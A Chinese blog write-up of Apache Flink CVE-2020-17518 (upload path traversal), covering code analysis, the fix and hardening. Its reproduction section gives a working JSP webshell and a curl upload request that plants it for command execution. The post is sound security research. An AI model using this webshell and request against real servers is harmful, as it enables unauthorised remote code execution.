Apache Flink CVE-2020-17518漏洞深度剖析:路径穿越与文件上传漏洞的攻防实战
1. 项目概述一次对CVE-2020-17518的深度剖析最近在复盘一些经典的中间件漏洞Apache Flink的CVE-2020-17518这个文件上传漏洞引起了我的注意。它不像那些复杂的RCE漏洞需要精巧的链式构造也不像SQL注入那样需要大量的模糊测试它的成因非常“经典”甚至可以说有点“复古”但恰恰是这种对用户输入路径的校验不严配合一个看似无害的功能在特定版本1.5.1至1.11.2的Flink Web Dashboard上撕开了一道口子导致了任意文件写入。对于安全研究者和运维同学来说理解这个漏洞不仅能帮助我们加固自身的Flink集群更能深刻体会到“路径穿越”和“文件上传”这两个老生常谈的安全问题在复杂框架中是如何以新的面貌出现的。今天我就带大家从代码层面一步步拆解这个漏洞的来龙去脉并分享一些在漏洞复现和分析过程中的实操心得。2. 漏洞背景与核心原理拆解2.1 Apache Flink Web Dashboard的功能定位Apache Flink作为一个流处理框架其Web Dashboard通常运行在8081端口是用户进行作业提交、监控和管理的主要入口。它提供了丰富的REST API其中就包括作业JAR包的上传功能。这个功能的本意是方便用户将编写好的流处理应用打包成JAR后通过Web界面轻松提交到集群执行。从架构上看Dashboard作为用户与Flink集群Manager如JobManager交互的桥梁其安全性直接关系到整个集群的安危。一旦Dashboard被攻破攻击者就有可能进一步渗透集群内部甚至获取到运行作业的权限。因此对文件上传这类高危操作的校验必须是滴水不漏的。2.2 CVE-2020-17518漏洞的核心路径穿越Path Traversal这个漏洞的本质是一个典型的“路径穿越”或“目录遍历”漏洞。简单来说就是攻击者通过构造特殊的文件名或路径参数使应用程序将文件写入到预期目录之外的位置。在Flink的这个案例中攻击点在于上传文件时指定的“文件名”参数。正常流程是用户上传一个名为my-job.jar的文件服务端会将其保存在某个固定的临时目录或上传目录下。但如果攻击者将文件名设置为../../../tmp/evil.sh而服务端又没有对路径中的..上级目录进行过滤或规范化处理那么文件就可能被写入到/tmp目录甚至覆盖系统关键文件。Flink的漏洞特殊之处在于它并非发生在一个简单的文件上传接口而是与Flink的“自定义JAR提交”流程深度耦合。攻击者通过精心构造的HTTP请求可以欺骗Web接口将恶意文件如Webshell写入到Web应用的静态资源目录如web目录中从而直接通过URL访问并执行该文件实现远程代码执行。2.3 影响范围与修复版本根据官方公告该漏洞影响Apache Flink 1.5.1至1.11.2之间的所有版本。这个跨度相当大涵盖了Flink快速发展成熟的多个主要版本意味着大量生产环境可能暴露在风险之下。官方在1.11.3、1.12.0及后续版本中修复了此漏洞。修复的核心思路是对用户提交的文件名进行严格的校验和规范化确保其不能包含路径遍历序列并且最终被限制在指定的安全目录内。3. 漏洞代码深度解析与定位要真正理解一个漏洞光看描述是不够的必须深入到代码层面看看问题到底出在哪一行。我们以受影响版本如1.11.2的源代码为例进行追踪。3.1 入口点org.apache.flink.runtime.rest.handler.job.JarUploadHandler文件上传的HTTP请求最终会由Flink的REST框架路由到对应的Handler进行处理。对于JAR包上传这个处理器就是JarUploadHandler。它的handleRequest方法是我们的首要分析目标。// 简化后的代码逻辑 Override protected CompletableFutureJarUploadResponseBody handleRequest( Nonnull HandlerRequestJarUploadRequestBody, JarUploadMessageParameters request, Nonnull DispatcherGateway gateway) throws RestHandlerException { // 从HTTP请求中获取上传的文件 FileUpload file request.getUploadedFile().get(0); // 获取用户通过表单提交的“filename”参数 String filename request.getFormParameter(filename); // ... 其他逻辑 Path destination jarDir.resolve(filename); // 关键行拼接目标路径 Files.copy(file.getInputStream(), destination, StandardCopyOption.REPLACE_EXISTING); // ... 返回响应 }关键点分析request.getUploadedFile()获取的是HTTP请求中文件部分的内容流。request.getFormParameter(“filename”)获取的是表单中名为filename的字段值。注意这个filename并非浏览器自动上传的文件名而是请求体中的一个独立参数攻击者可以完全控制它。jarDir是Flink配置的JAR存储目录如$FLINK_HOME/web/upload。jarDir.resolve(filename)是漏洞的核心。Path.resolve()方法会将filename拼接到jarDir路径后面。如果filename是../../../web/evil.jsp那么destination就会变成$FLINK_HOME/web/upload/../../../web/evil.jsp经过系统路径解析后实际上就指向了$FLINK_HOME/web/evil.jsp。注意这里存在一个常见的误解。很多人认为漏洞是利用了HTTP头中的filename属性。实际上在Flink的这个接口中它读取的是请求体Body中multipart/form-data格式里一个独立的filename字段。这意味着即使前端表单写死了文件名攻击者也可以通过直接发送原始的HTTP请求包例如使用Burp Suite来修改这个参数完全绕过前端限制。3.2 缺失的校验路径规范化与安全检查在漏洞版本的代码中JarUploadHandler在调用resolve()之后并没有对生成的destination路径进行至关重要的安全检查未进行规范化Normalization没有调用destination.normalize()来解析掉路径中的.和..。虽然操作系统最终会解析但程序自身应该在写入前就知道最终路径指向哪里。未进行路径限定Containment Check没有检查destination是否仍然在jarDir目录或其子目录下。标准的做法是使用destination.toAbsolutePath().startsWith(jarDir.toAbsolutePath())来判断。修复版本的代码正是补上了这两个步骤。在写入文件之前会对路径进行规范化并确保规范化后的路径仍然在允许的基目录之下否则就抛出异常拒绝请求。3.3 利用链的构成从文件写入到RCE理解了文件如何被写入错误位置后我们来看如何利用它实现RCE。写入Web目录通过路径穿越将包含恶意代码的JSP文件写入Flink Web Dashboard的静态资源目录例如web目录。因为Dashboard本身通常是一个Java Web应用如基于Jettyweb目录下的JSP文件是可被容器解析执行的。触发访问写入成功后攻击者直接访问http://flink-host:8081/evil.jsp。Jetty容器会识别到这个JSP请求将其交给JSP引擎编译执行其中的Java代码例如利用Runtime执行系统命令就会被运行。权限继承Web应用以什么用户身份运行通常是专门的flink用户或启动服务的用户恶意JSP中的命令就以什么权限执行。如果运维不当以高权限账户运行后果将非常严重。4. 漏洞复现与实操验证纸上得来终觉浅绝知此事要躬行。搭建一个受漏洞影响的环境进行复现是理解漏洞最有效的方式。4.1 环境准备与搭建目标在本地或隔离虚拟机中搭建一个存在CVE-2020-17518漏洞的Apache Flink单机环境。步骤下载漏洞版本从Apache Archive仓库下载Flink 1.11.2的二进制发行包flink-1.11.2-bin-scala_2.11.tgz。解压与启动tar -xzf flink-1.11.2-bin-scala_2.11.tgz cd flink-1.11.2 # 启动本地单机集群 ./bin/start-cluster.sh验证启动访问http://localhost:8081应能看到Flink Web Dashboard的界面。使用jps命令应能看到StandaloneSessionClusterEntrypoint和TaskManagerRunner进程。4.2 构造攻击请求我们使用curl命令来模拟攻击者的HTTP请求这比使用浏览器更能体现漏洞的本质。准备一个恶意的JSP Webshell文件内容如下保存为shell.txt因为我们将以文本形式嵌入请求% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %构造并发送恶意请求curl -X POST \ http://localhost:8081/jars/upload \ -H Content-Type: multipart/form-data \ -F jarfile./shell.txt \ -F filename../../../web/shell.jsp命令拆解与解释-X POST: 指定使用POST方法对应上传接口。‘http://localhost:8081/jars/upload’: Flink Dashboard的文件上传端点。-H ‘Content-Type: multipart/form-data’: 必须设置正确的Content-Type以支持文件上传。-F “jarfile./shell.txt”: 这是关键。jarfile是接口预期的文件字段名我们上传本地的shell.txt文件。虽然它叫.txt但内容是我们写的JSP代码。-F “filename../../../web/shell.jsp”:这是漏洞利用的核心。我们控制filename参数使用路径穿越../../../跳出预设的上传目录直接指向Web应用的web子目录并指定最终保存的文件名为shell.jsp。4.3 验证利用结果检查响应如果请求成功curl会返回一个JSON响应通常包含一个filename字段显示服务端保存的文件名。在漏洞版本中即使我们使用了路径穿越这里可能仍然只返回文件名部分如shell.jsp而不会暴露完整路径但这不影响文件已被写入的事实。访问Webshell在浏览器或另一个curl命令中访问http://localhost:8081/shell.jsp。执行命令访问http://localhost:8081/shell.jsp?cmdwhoami。如果页面上显示了运行Flink服务的用户名如flink则证明漏洞利用成功任意命令执行已实现。实操心得在实际测试中可能会遇到一些“小麻烦”。例如Flink的Web目录可能没有写权限或者防火墙规则限制了访问。建议在搭建环境时确保Flink进程用户对安装目录有写权限。另外使用./bin/stop-cluster.sh和./bin/start-cluster.sh重启服务时写入web目录的JSP文件可能会被清理因为web目录有时会被视为静态资源从包中提取。更稳定的利用可能是写入其他有权限且服务进程能访问的目录再通过其他方式如日志文件包含、配置修改触发。这体现了渗透测试中需要灵活变通。5. 修复方案与安全加固实践分析漏洞是为了更好地防御。我们来看看官方如何修复以及我们在实际运维中该如何加固。5.1 官方修复代码分析查看修复版本如1.11.3的JarUploadHandler代码会发现关键性的增强// 修复后的核心逻辑示意 String filename ... // 获取用户输入 Path destination jarDir.resolve(filename).normalize(); // 步骤1规范化路径 // 步骤2检查规范化后的路径是否仍在jarDir内 if (!destination.toAbsolutePath().startsWith(jarDir.toAbsolutePath())) { throw new RestHandlerException( “Uploaded jar file is targeted outside the jar upload directory.”, HttpResponseStatus.BAD_REQUEST); } // 步骤3安全检查通过执行复制 Files.copy(..., destination, ...);修复要点规范化Normalizenormalize()方法会移除路径中冗余的.和..解析出真正的绝对路径指向。路径包含性检查检查解析后的目标路径是否以允许的基目录jarDir开头。这是防御路径穿越最根本、最有效的方法。早期拒绝在文件系统操作发生之前就进行校验不符合安全策略则立即抛出异常并返回400等错误状态码遵循“失败早失败快”的安全设计原则。5.2 针对自身环境的加固建议即使升级到了已修复的版本以下安全实践依然值得每个Flink运维人员关注及时升级这是最直接有效的方法。将生产环境的Flink集群升级到1.11.3、1.12.0或更高版本。网络隔离严格限制Flink Web Dashboard的访问来源。不要将其8081端口直接暴露在公网。应通过VPN、跳板机或内部网络边界策略进行访问控制。最小权限原则运行Flink服务的操作系统用户如flink应仅拥有完成任务所必需的最小权限。避免使用root或高权限账户运行。这样可以即使被攻破也能限制攻击者的横向移动和破坏范围。文件系统权限控制确保Flink的安装目录、日志目录、上传目录的权限设置得当。例如web目录可以设置为只读防止被意外写入。部署前端防护在Flink Dashboard前端部署Web应用防火墙WAF可以配置规则拦截包含路径遍历序列如../的请求提供一层额外的防护。安全审计与监控启用Flink的访问日志并纳入统一的日志管理和安全信息事件管理SIEM系统。监控异常的上传请求特别是那些包含可疑路径或文件名的请求。6. 从CVE-2020-17518延伸的通用安全思考这个漏洞虽然原理简单但它像一面镜子映照出Web应用安全中几个历久弥新的核心问题。6.1 用户输入可信吗——永不信任原则这是安全开发的第一铁律。filename参数是一个来自客户端的、完全可控的输入。任何将用户输入直接用于文件系统操作、数据库查询、系统命令拼接或反序列化的地方都是潜在的高危点。开发者在处理此类输入时必须抱有“怀疑一切”的态度进行严格的校验、过滤或转义。6.2 白名单 vs 黑名单在防御路径穿越时应该采用哪种策略黑名单无效尝试过滤../、..\、%2e%2e%2f等。这种方式极易被绕过编码、双编码、罕见Unicode字符、操作系统路径特性差异都可能让过滤失效。白名单推荐定义允许的字符集如字母、数字、连字符、下划线、点只接受符合规则的输入。或者更好的方式是不信任用户提供的路径由服务端根据文件ID或哈希值生成存储路径和访问文件名用户提供的原始文件名仅用于下载时的展示。6.3 默认安全与纵深防御Flink作为一个大数据处理框架其默认配置可能更侧重于功能和性能安全性需要使用者主动介入。这提醒我们在引入任何开源组件时都应将其安全配置作为部署的必要步骤。同时不要依赖单一防线。即使代码层修复了网络层的隔离、系统层的权限控制、运行时的监控RASP共同构成的纵深防御体系才能最大程度降低风险。6.4 漏洞复现的意义对于安全从业者手动复现一个漏洞的价值远大于阅读分析报告。这个过程迫使你去搭建环境、阅读代码、构造数据包、调试问题。你会遇到各种预料之外的情况比如环境依赖问题、版本差异、权限错误等解决这些问题的过程本身就是宝贵经验的积累。它锻炼的是你的动手能力、调试能力和对系统理解的深度。下次当你审计代码时看到resolve()、new File()这类方法大脑里的警报器自然会更加灵敏。在我个人的研究过程中最初以为只要传个../就能成功结果发现需要精确计算跳出多少层目录才能到达web文件夹也遇到过上传成功但JSP访问404的情况最后发现是Web服务器配置问题。这些“踩坑”经历比任何教科书式的描述都更让人记忆深刻。安全研究终究是一门需要大量动手实践的学问。

相关新闻

深度解析开源英雄联盟回放分析工具:ReplayBook 5大高级配置与专业数据导出实战指南

深度解析开源英雄联盟回放分析工具:ReplayBook 5大高级配置与专业数据导出实战指南

深度解析开源英雄联盟回放分析工具:ReplayBook 5大高级配置与专业数据导出实战指南 【免费下载链接】ReplayBook Play, manage, and inspect League of Legends replays 项目地址: https://gitcode.com/gh_mirrors/re/ReplayBook ReplayBook是一款专为《英雄…

2026/6/26 17:17:15阅读更多 →
公证有法律效力吗?涉外留学用的公证国外也认可效力吗?

公证有法律效力吗?涉外留学用的公证国外也认可效力吗?

本文围绕“公证有法律效力吗”这一高频疑问展开,结合日常高频使用场景,为大家系统讲解公证的核心概念、适用范围、办理所需的材料、周期与费用,同时对比线下公证处办理和线上微信/支付宝“慧办好”公证小程序两种实操流程,后通过常…

2026/6/26 17:12:15阅读更多 →
3分钟极速上手:FigmaCN中文翻译插件的终极使用指南

3分钟极速上手:FigmaCN中文翻译插件的终极使用指南

3分钟极速上手:FigmaCN中文翻译插件的终极使用指南 【免费下载链接】figmaCN 中文 Figma 插件,设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 你是否曾因Figma的全英文界面而感到困扰?作为中文设计师&…

2026/6/26 17:12:15阅读更多 →
NSC_BUILDER:Switch游戏文件管理的终极免费工具箱

NSC_BUILDER:Switch游戏文件管理的终极免费工具箱

NSC_BUILDER:Switch游戏文件管理的终极免费工具箱 【免费下载链接】NSC_BUILDER Nintendo Switch Cleaner and Builder. A batchfile, python and html script based in hacbuild and Nuts python libraries. Designed initially to erase titlerights encryption f…

2026/6/26 18:42:57阅读更多 →
企业级与个人开发者AI大模型API聚合平台选型指南:生产环境下的技术路径对比

企业级与个人开发者AI大模型API聚合平台选型指南:生产环境下的技术路径对比

在近几个季度的技术演进中,API聚合平台已不再仅仅是开发者的辅助工具,而是逐渐演变为企业AI生产环境的核心调度层。如何选择一个可靠的API中转平台,直接关系到团队的交付效率与成本控制,尤其是在处理Claude Code、Cursor等编程工具…

2026/6/26 18:42:57阅读更多 →
计算机毕业设计之基于微信小程序的云打印系统设计与实现

计算机毕业设计之基于微信小程序的云打印系统设计与实现

随着移动互联网的快速发展和用户对便捷、高效应用体验需求的日益增长,基于微信小程序的云打印系统应运而生。基于微信小程序的云打印系统采用Java语言开发,后端运用Spring Boot框架构建,前端则借助uniapp框架实现跨平台兼容,整个系…

2026/6/26 18:42:56阅读更多 →
5G通讯FPC板设计:射频信号与机械可靠性优化

5G通讯FPC板设计:射频信号与机械可靠性优化

1. 项目背景与核心价值在5G终端设备小型化与模块化的发展趋势下,FPC(柔性印刷电路板)正在成为连接器件的关键载体。这个看似简单的"5G通讯壳卡槽FPC板"项目,实际上涉及射频信号完整性、机械可靠性、电磁兼容性三大技术挑…

2026/6/26 18:42:56阅读更多 →
Weblogic、ThinkPHP、Jboss、Struts2历史漏洞深度剖析与实战防御

Weblogic、ThinkPHP、Jboss、Struts2历史漏洞深度剖析与实战防御

1. 项目概述:为什么我们要“考古”这些历史漏洞?在安全圈里待久了,你可能会发现一个有趣的现象:很多新入行的朋友热衷于追逐最新的CVE编号和零日漏洞,却对一些“老掉牙”的历史漏洞嗤之以鼻,觉得它们早已过…

2026/6/26 18:42:56阅读更多 →
广凌智慧教室建设方案:全场景智慧服务,打造现代化课堂新体验

广凌智慧教室建设方案:全场景智慧服务,打造现代化课堂新体验

智慧教室是覆盖教学全流程、适配多元育人场景的综合型教学空间。作为深耕教育信息化领域的智慧教室服务商,广凌科技(广凌股份)打造的智慧教室建设方案以“场景适配、平台融合、数据赋能”为核心逻辑,围绕高校教学改革与管理提效的…

2026/6/26 18:37:56阅读更多 →
【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体 一文搞定到底什么是智能体【人工智能】一文搞定到底什么是智能体一. LM,WorkFlow,Agent分别有什么么不同二. Agent的思考过程是怎样的三. Agent的五个核心部分1)LLM2)Prompt3)Me…

2026/6/26 11:03:22阅读更多 →
嵌入式GUI控件实战:ROTARY、SCROLLBAR、SLIDER原理与应用

嵌入式GUI控件实战:ROTARY、SCROLLBAR、SLIDER原理与应用

1. 嵌入式GUI控件:从原理到实战的深度解析在嵌入式系统开发中,图形用户界面(GUI)的设计与实现往往是项目从“能用”到“好用”的关键一跃。不同于资源充沛的PC或移动平台,嵌入式设备的GUI需要在有限的CPU性能、内存空间…

2026/6/26 4:15:25阅读更多 →
Google AI Studio 300美元额度的真相与实战指南

Google AI Studio 300美元额度的真相与实战指南

1. 这300美金不是“送钱”,而是Google埋下的第一道技术门槛 你看到标题里那个醒目的“$300美金”时,第一反应可能是:又一个免费额度?领完就完事?我亲手试过——这300美金根本不是红包,而是一张入场券&…

2026/6/26 9:29:01阅读更多 →
HPE (慧与) 服务器专用 ESXi 9 全套官方定制资源详解 + 完整部署升级教程

HPE (慧与) 服务器专用 ESXi 9 全套官方定制资源详解 + 完整部署升级教程

一、前言:企业运维痛点与资源价值自博通收购 VMware 之后,原 VMware 公开免费下载渠道全面关闭,企业运维人员想要获取适配 HPE 慧与服务器的 ESXi 9 原厂镜像,必须注册博通账号、绑定有效授权才能下载,无授权账号无法获…

2026/6/26 0:02:15阅读更多 →
Kotlin的@JvmStatic与@JvmField:与Java互操作的注解

Kotlin的@JvmStatic与@JvmField:与Java互操作的注解

Kotlin作为一门现代编程语言,与Java的互操作性一直是其核心优势之一。为了让Kotlin代码能够无缝对接Java,Kotlin提供了多种注解来优化互操作体验,其中JvmStatic和JvmField是两个关键注解。它们分别用于解决静态成员和字段在Java中的访问问题&…

2026/6/26 0:02:15阅读更多 →
深入解析musl libc中的mmap实现源码

深入解析musl libc中的mmap实现源码

最近在阅读musl libc源码时,发现其mmap的实现非常精妙,特分享给大家。 一、代码整体结构 这段代码实现了__mmap函数,并通过weak_alias导出为mmap。这是典型的musl libc风格——提供弱符号以便用户可以重写。 weak_alias(__mmap, mmap); 二…

2026/6/26 0:02:15阅读更多 →